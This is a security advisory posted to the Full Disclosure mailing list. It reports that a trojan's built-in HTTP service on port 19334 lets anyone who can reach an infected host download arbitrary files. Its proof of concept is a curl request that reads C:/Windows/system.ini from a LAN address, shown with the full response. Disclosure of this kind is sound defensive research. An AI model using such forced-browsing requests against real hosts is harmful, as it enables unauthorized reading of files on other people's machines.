full-disclosure - [FD] HEUR:Trojan.MSIL.Agent.gen / Information Disclosure

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Message-ID: <CAAHK0WQ3eNKnbjP5EhF2ZwhT6h+Mud5zONk89UM-0XZ06EYUJw@mail.gmail.com>
Date: Wed, 9 Nov 2022 20:50:34 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] HEUR:Trojan.MSIL.Agent.gen / Information Disclosure

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/bc2ccf92bea475f828dcdcb1c8f6cc92.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: HEUR:Trojan.MSIL.Agent.gen
Vulnerability: Information Disclosure
Description: the malware runs an HTTP service on port 19334. Attackers who
can reach an infected host can make HTTP GET requests to download and or
stat arbitrary files using forced browsing.
Family: Agent
Type: PE64
MD5: bc2ccf92bea475f828dcdcb1c8f6cc92
Vuln ID: MVID-2022-0654
Disclosure: 11/09/2022

Exploit/PoC:
C:\>curl "http://192.168.18.125:19334/c:/Windows/system.ini" -v
  Trying 192.168.18.125:19334...
  Connected to 192.168.18.125 (192.168.18.125) port 19334 (#0)
  GET /c:/Windows/system.ini HTTP/1.1
  Host: 192.168.18.125:19334
  User-Agent: curl/7.83.1
  Accept: */*

* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
  HTTP/1.0 200 OK
  content-encoding: utf8
  content-type: application/octet-stream
  date: Tue, 08 Nov 2022 23:11:55 GMT
  last-modified: Sat, 16 Jul 2016 07:45:35 GMT
  content-disposition: attachment; filename*=UTF-8''system.ini;
filename="system.ini"

; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
* Closing connection 0

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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